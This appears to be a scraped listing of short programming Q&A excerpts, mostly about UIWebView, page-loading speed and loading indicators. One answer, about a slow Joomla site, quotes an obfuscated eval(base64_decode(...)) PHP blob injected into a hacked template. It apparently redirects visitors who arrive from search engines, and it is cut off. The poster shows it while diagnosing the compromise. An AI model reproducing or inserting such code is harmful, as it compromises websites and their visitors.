Loading PDF into UIWebView - Anything faster? |
As the problem comes from network connectivity, you should display a
loading bar while downloading the PDF so the user understands what is going
on. Then, upon download completion, save the PDF in the documents folder of
your app if the user wants to reopen it later
|
loading a UIWebView on second VC from another VC |
Try creating the webview and loading the request in your initial
viewController. Then pass that webView to your qrview.
UIWebView *webview = [UIWebView alloc] init]; // or initWithFrame or
whatever
[webView loadRequest:request];
qrview.QRWebView = webView;
That may not be exactly right, but that's the basic idea.
|
Loading a UIWebview when pressing a UIButton |
The first thing to check is that the method is definitely being called. Are
your NSLog statements being printed? If not, check that you have connected
the button to the IBAction correctly in Interface Builder.
I can't see anything in your code that is immediately jumping out to me as
incorrect, so your best bet is to set a breakpoint at the start of the
method and step through it line-by-line, checking the values of each
variable as you go.
|
Slow loading UIWebView from string |
This usually happens because of CSS used in rendering web page. It is
default behavior when loading page locally. We can also consider that in
first load, UIWebview doesn't have cache to this and create cache for that
page.
To make it little fast try loading page from a file e.g.
NSURL *url = [NSURL fileURLWithPath:[[NSBundle mainBundle]
pathForResource:@"filePath" ofType:@"html" inDirectory:@"."]];
NSURLRequest *request = [NSURLRequest requestWithURL:url];
[webView loadRequest:request];
CSS like body { background-color:transparent; font-family:Arial-BoldMT;
font-size:18;} also increase the time of loading a page.
|
page not loading in uiwebview storyboard |
Check
self.myWebView outlet connected
self.myWebView get reinitialized anywhere after this loading
EDIT.
Ok the reason may be you are setting the url and loading in the webview
,But it is not initialized yet since the view is not yet loaded from
nib.Pass the url string and store in an instance variable and in
viewDidLoad method set the loadRequest with the value in instance variable
Define an instance variable
NSString *_urlToLoad;
.m
-(void)openDashboard:(NSString *) url {
_urlToLoad =[url copy];
}
-(void)viewDidAppear:(BOOL)animated
{
[self.myWebView loadRequest:[NSURLRequest requestWithURL:[NSURL
URLWithString:_urlToLoad]]];
}
|
Loading .js file in UIWebview from bundle downloaded as a zip |
// Try this
NSString *test =
[[NSSearchPathForDirectoriesInDomains(NSDocumentDirectory,
NSUserDomainMask, YES) objectAtIndex:0]
stringByAppendingPathComponent:@"/contentNewVersion.bundle/index.html"];
NSLog(@"%@",test);
[webView loadRequest:[NSURLRequest requestWithURL:[NSURL
fileURLWithPath:test]]];
|
UIWebView not loading local .html file |
You are using a relative path (hence the blue color of a folder). You can
actually find the answer to this problem here Load resources from relative
path using local html in uiwebview or below:
Drag the resource into your xcode project, you will get two options "create
groups for any added folders" and "create folders references for any added
folders". Select the "create folder references.." option.
The code below should work.
NSURL *url = [NSURL fileURLWithPath:[[NSBundle mainBundle]
pathForResource:@"index" ofType:@"html" inDirectory:@"/HTML"]];
[webView loadRequest:[NSURLRequest requestWithURL:url]];
|
faster loading of like buttons |
Use https in Google+ URL, at the time of writting this putting
https://apis.google.com/js/plusone.js instead of
http://apis.google.com/js/plusone.js will get rid of one roundtrip.
It's possible that same goes for other two services as well but I haven't
tested because I use custom buttons.
|
How to hide the header in Html before loading conent in UiwebView iOS5 and above? |
This would be easier to do server side, use javascript to hide the header
and then at the bottom of the page have a script that loads to unhide the
header.
EGood refrences: javascript hide/show element How can I hide a page
contents until all the images are fully loaded?
|
Faster batch loading of nested data |
I'm not as familiar with JdbcTemplate, but assuming it is similar to JDBC I
would do it with something similar (I would probably break this into
multiple methods) to the following code:
private static final int BATCH_SIZE = 50;
public void addBatch(Connection connection, List<Outer> outers) {
PreparedStatement outerInsertStatement =
connection.prepareStatement("...", Statement.RETURN_GENERATED_KEYS);
PreparedStatement innerInsertStatement =
connection.prepareStatement("...", Statement.RETURN_GENERATED_KEYS);
List<Integer> outerIds = new ArrayList<Integer>();
for(Outer outer : outers) {
outerInsertStatement.setParameter(...);
...
outerInsertStatement.setParameter(...);
outerInsertStatement.addBatch();
}
outerInsertStatement.executeBatch()
|
Python reading faster on url and loading simplejson? |
Probably the bottleneck is the multiple GET requests. You can probably
achieve a significant speed-up by using the httplib library which gives you
more control over the underlying connection.
Try this:
import httplib
host = 'api.forecast.io'
conn = httplib.HTTPSConnection(host)
urlnyp = '/forecast/apikey/1.37871,103.848808'
conn.request('GET', urlnyp)
resultnyp = conn.getresponse()
contentnyp = resultnyp.read()
urltampines = '/forecast/apikey/1.353092,103.945229'
conn.request('GET', urltampines)
resulttampines = conn.getresponse()
contenttampines = resulttampines.read()
# ...
conn.close()
|
How to improve ListView's loading time faster? |
I did a few things to make it faster in loading the app.
I am not sure which one is the solution.
(1) I load all data from sql database including text and thumbnail images
using AsyncTask.
(2) I change thumbnail image format from png to jpg.
(3) Then I clear the cache manually.
The app looks like faster in loading, but sometimes it is still slow. Most
of the times, it is faster than before.
I am still making improvement to my app.
Thanks
|
Is loading a blank image faster than multiple if statements? |
Create an Object Pool with Images and load them on the initialization step.
Load them in batches and extend pool with new images if required.
While loading images show spinner. It will be loaded long for a first time,
after that a browser will put them in cache.
If you have an opportunity to combine different little images in one
(sprite), do it! because it is faster to load one big image, then a lot of
little.
|
In iOS 5.1 after dismissing MFMailComposeViewController my UIWebView page java script not working and not loading data from disc chache |
I came across the same thing in iOS7 yesterday and found a solution a few
minutes ago. Maybe it will help you.
Check your viewWillDisappear method. Mine looked like this:
- (void)viewDidDisappear:(BOOL)animated
{
[super viewDidDisappear:animated];
self.webView.delegate = nil;
self.webView = nil;
// whatever else you do
}
The error was in the assignments: when MFMailComposeViewController appeared
and viewDidDisappear was called, webView lost its delegate and because of
that clicks weren't captured.
If you're programming for iOS6 or newer, you should just leave it like
that:
- (void)viewDidDisappear:(BOOL)animated
{
[super viewDidDisappear:animated];
// whatever else you do
}
But if you're programming for iOS5 or older and have to assign nil for some
reason,
|
It should be faster, cProfile says it's faster, but the program actually runs slower |
In your new implementation, you create 5 numpy arrays with each Brain
object:
self.h_activation = zeros((self.hidden_num, 1), dtype=float)
self.o_activation = zeros((self.output_num, 1), dtype=float)
self.i_output = zeros((self.input_num, 1), dtype=float)
self.h_output = zeros((self.hidden_num, 1), dtype=float)
self.o_output = zeros((self.output_num, 1), dtype=float)
These attributes are not referenced in other parts of the code. Creating
them is a potentially costly operation, which doesn't seem have a direct
counterpart in the original implementation. I'm not sure that it would
outweigh the speed advantage of faster numpy computations, but if you are
creating a lot of Brain objects, it's something worth looking at.
|
Timer Gets Faster and Faster |
Well, from what I understand, I dont see any line of code to stop previous
timers that were setup by previously applied plugins, so I believe that
they all stack up and the more you have at different intervals, the faster
they get.
Now, what you should be doing is detect if the plugin was previously
applied on that element and if so, clear previously set timeouts.
However, the way you designed your plugin, the options and other variables
are shared, so they will be replaced everytime you apply the plugin on
different elements. You will have to change this as well...
|
jQuery Mobile automated ajax loading message Page Loading Widget |
Now that I've found that additional information, I was able to find this
related question and answer. I'm still looking around to see if there is
more information before I accept this as an answer.
How can I delay page transition in jQuery Mobile until page data is ready?
|
Trigger event when google maps fusiontable layer is loading or finished loading? |
You can put a listener to capture if its loaded. status_changed event is
created for this.
google.maps.event.addListener(layer, 'status_changed', function() {
--your code here
});
Or, you can use properties_changed event which will be fired after it is
loaded.
|
Checking if the data being retrieved from the database Eager loading OR lazy is loading |
When you are using .Include() method you are initiating eager loading. So
yes your data will be returned by single query.
For checking it consider to use SQL Server Profiler or paid utility Entity
Framework profiler. Also such utility as LinqPad could help you in query
tracing
Also you need to be careful with repositories returning IQueryable because
usage like this will execute several queries in a loop:
foreach(var accDef in repository.FindAccountDefinition(searchTerm))
{
//get info from accDef
}
|
Show an indeterminate progress + loading message in fragment while data is loading |
You could use an AsyncTask to load data and have it return values that
indicate the progress of the task. You can create a view you want to
display with a progress bar and then create the asynctask and pass the
activity context and that progressbar.
public class Loader extends AsyncTask<>{
ProgressBar progress;
Context context;
public Loader(Context context, ProgressBar progress)
{
this.progress = progress;
this.context = context;
}
public Integer doInBackground()
{
// do your loading here and determine what percent is done and call
publishProgress()
}
public void onProgressUpdate(Integer... value)
{
final Integer progressVal = value;
Runnable updateProg = new Runnable(){
public void run(){
this.progress.setProgress(progressVal);
}};
Handler main
|
"Failure loading DAC: CreateDacInstance failed" when loading dump file with ClrMD |
I had similar problems with the initial release of ClrMD. It was unable to
successfully load an MSCORDACWKS that WinDbg cheerfully accepted, was in
the path I made available to ClrMD, and could successfully use with WinDbg
against the same dump. The same thing happened with the initial release of
DebugDiag v2 which, I understand, is based on ClrMD. I made the same
renamed DAC accepted by WinDbg available on DebugDiag's symbol path and
DebugDiag aborted the analysis; saying that the [provided]
"mscordacwk.dlls’ timestamp and size do not match the one in the dump";
even though following the load attempt via ProcMon clearly showed it was
accessing the correct DLL via the WinDbg-accepted name.
However, while working with our Microsoft team on the DebugDiag v2
inability to load the DAC, I
|
Changing a jQuery loading bar so it doesn't redirect (Similar to Youtube new loading bar) |
This seems like a silly way of doing an Ajax redirect. You don't want to
load the new page completely, that's why Ajax should be really beneficial,
because you only need to refresh the inner content.
A better way of loading a page via Ajax would include:
Make calls to the same URL when using Ajax and normal loads. Use your
server side to pick up on the HTTP Header X-REQUESTED-WITH: XMLHTTPRequest,
and if it's present, just send across the content. That way users without
JavaScript can click on the same links and visit the standalone versions
For newer browsers, you want to update the browser's URL without actually
changing the page. This is best achieved using window.history.pushState
(see here, but bear in mind that support for is very limited, particularly
if your target audience are
|
Joomla loading slow. Menu items not loading. [SOLVED] |
Somehow the page template (index.php) was changed and some extra code was
added. Specifically, this code:
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoI
|
Loading indicator stays in Firefox after iframe finished loading |
Why are you triggering the write to the contentWindow by using the load
event of the same iframe in the first place?
An alternate approach just creates an iframe and loads some content with
images into it - works on firefox as expected. No big deal.
<!DOCTYPE html>
<html>
<head>
<script type="text/javascript">
function createIframe(){
var f = document.getElementsByTagName('body')
[0].appendChild(document.createElement('iframe'));
f.contentWindow.document.write('<img
src="http://www.funimage.org/uploads/posts/2013-02/1361892989_1_14.jpg"
/>');
}
</script>
</head>
<body onload="createIframe()">
</body>
</html>
|
Display loading animation in contentcontrol while bound usercontrol is loading |
Do your data access stuff in a Background Thread.
Then put some IsBusy property in the ViewModel and show some "Loading
Message" when that becomes true:
public void DoHeavyStuff()
{
IsBusy = true;
Task.Factory.StartNew(() => GetDataFromDB())
.ContinueWith(x => IsBusy = false);
}
Remove all heavy operations from constructors. That's a bad design.
|
Loading class with main method first and then manually loading other classes |
MyClass and MyClass2 will be loaded after application startup
class MyClass {
static { System.out.println("MyClass loaded"); }
private MyClass2 ref;
}
class Main {
public static void main(String... args) {
System.out.println("Starting application...");
Class.forName("MyClass");
}
}
|
Loading tall images from url in slivers preventing whole image from loading into ram |
If you are using Java you can work with InputStreamReader and
OutputStreamWriter. Method read() accepts the buffer as one of the
parameters, its length can be anything suitable. Of course you can create a
new file for each buffer being written.
Is it what you're looking for?
edit
well its not. have you seen this Strange out of memory issue while loading
an image to a Bitmap object ?
|
jquery loading spinner or loading message while JS running |
Add a hidden loading image in your page, display it when you start you
function and hide it again when the function completes.
<img src="loading image " id="loading">
function(){
$("#loading").show();
your logic
$("#loading").hide();
}
|
How do I detect when an iframe starts loading and when it finishes loading |
You can try following jquery code:
$(document).ready(function(){
alert("Iframe Start Loading ...");
var ifr=$('<iframe></iframe>', {
id:'frame',
src:'http://ernagroup.com',
style:'display:none',
load:function(){
$(this).show();
alert('iframe loaded !');
}
});
$('body').append(ifr);
});
|
Partial View Asynchronous Loading , Not loading , No Errors |
probably is not this but did you notice:
var val = $("#OptionsDrop").val();
data: { id : var }` **`<-- should be "val"
another thing I don't know much about those KendoUI controls but maybe you
need to adds some scripts into your page.
Edit: try to add some code inside your partial view to check if Render is
happening.
|
html not loading jquery? (dynamic content loading) |
Have you tried adding HTTP to your call to jquery:
<script
src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.10.3/jquery-ui.min.js"</script>
Also you are missing a closing > on your script tag:
<script
src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.10.3/jquery-ui.min.js"></script>
|
Resources not loading properly , images loading partially |
While I realize that this is a little older, my hunch here would be Rocket
Loader or the image optimization features (possibly Mirage). Have you tried
turning them of in your performance settings, if on?
|
How to show loading gif while image preview loading via javascript |
You could use a variation of the following code snippet to trigger an event
once it's loaded:
var img = $("<img />").attr('src', 'http://somedomain.com/image.jpg')
.load(function() {
if (!this.complete || typeof this.naturalWidth == "undefined" ||
this.naturalWidth == 0) {
alert('broken image!');
} else {
$("#something").append(img);
}
});
|
Cannot show loading image while javascript and php script are loading |
From ajaxStart doc:
As of jQuery 1.8, the .ajaxStart() method should only be attached to
document.
So try:
jq('document').ajaxStart(function() {
jq('#loading, #loading-image').show();
}).ajaxComplete(function() {
jq('#loading, #loading-image').hide();
});
|
IOS UIWebView not working? |
The code seems right, check that the webview is properly init:
UIWebView *webView = [[UIWebView alloc] initWithFrame:myframe]
[self.view addSubview:ewebView];
Or the IBOutlet is correctly assigned.
|
UIWebview crashing on IOS 7 but not on IOS 6 |
I figured out the problem, @Jake Lin's suggestion was right it was the
link. I was trying to connect to twitter and I was using the URL:
http://mobile.twitter.com/account and I tried changing it to:
https://mobile.twitter.com/account where I added the "s" in the http. Very
strange problem but that seemed to fix it.
|
IOS UIWebView Crashes |
I think You use it...
-(void) viewDidLoad {
[super viewDidLoad];
// Do any additional setup after loading the view from its nib.
NSLog(@"%@",selection);
NSURL *URL = [NSURL URLWithString:@"http://www.example.com"];
NSURLRequest *requestObj = [NSURLRequest requestWithURL:URL];
[webview loadRequest:requestObj];
}
-(void) showAlertforwait{
UIActivityIndicatorView *activity= [[UIActivityIndicatorView alloc]
initWithFrame: CGRectMake(125, 80, 30, 30)];
activity.activityIndicatorViewStyle =
UIActivityIndicatorViewStyleWhiteLarge;
alert= [[UIAlertView alloc]initWithTitle:@"Process"
message:@"Please Wait ..."
delegate: self
cancelButtonTitle: nil
|
UIWebview xml file |
Set your UIWebView delegate and define webView:didFailLoadWithError: and
– webViewDidFinishLoad:; if you put some NSLog traces in there (or break
into them with the debugger), you might understand what is happening.
In principle, if you can display a local file, you can display the same
info coming from a remote server. So I am thinking that maybe your server
is not replying correctly (and didFail: will help you understanding that).
EDIT:
The mimetype is sent by the server, and I am not aware of a way to modify
it before the UIWebView gets to handle it.
You can easily download a file by way of:
NSData *urlData = [NSData dataWithContentsOfURL:url];
and then you can pass the data into the web view as you are already doing.
Take into account that dataWithContentsOfURL: is sync, so i
|
How do I know when something has been pasted in a UIWebView? |
Casting is not magic.
I repeat: Casting is not magic!
It does't change the run-time type of an object. If it didn't respond to a
selector as a UIWebView, it won't respond to it as a UIMenuItem either. You
have to detect the event using JavaScript and bridge your JavaScript
function to Objective-C. Use the onpaste JavaScript event handler, then do
something like what is described here:
<!-- snippet from your HTML string -->
<script type="text/javascript">
function call_objc_paste(text)
{
window.location.href = "fakescheme://" + text;
}
</script>
<input type="text" onpaste="call_objc_paste(this.value);" />
// Objective-C code:
webView.delegate = self;
[webView loadHTMLString:htmlStr baseURL:nil];
- (BOOL) webView:(UIWebView *)wv
s
|
Two uiwebview but only one works |
This may not fix your problem, but try this. Change your
PricesViewController.h and ReservationsViewController.h similarly. Also,
what version of Xcode are you using, and what version of iOS are you
targeting? You shouldn't need @synthesize in your .m if you're using a
recent version of Xcode and iOS.
@interface PricesViewController : UIViewController
@property (nonatomic, weak) IBOutlet UIWebView *WebView;
@end
IBOutlets should not be retained, as this can cause retain cycles. May not
be the cause, but good programming practice anyway.
|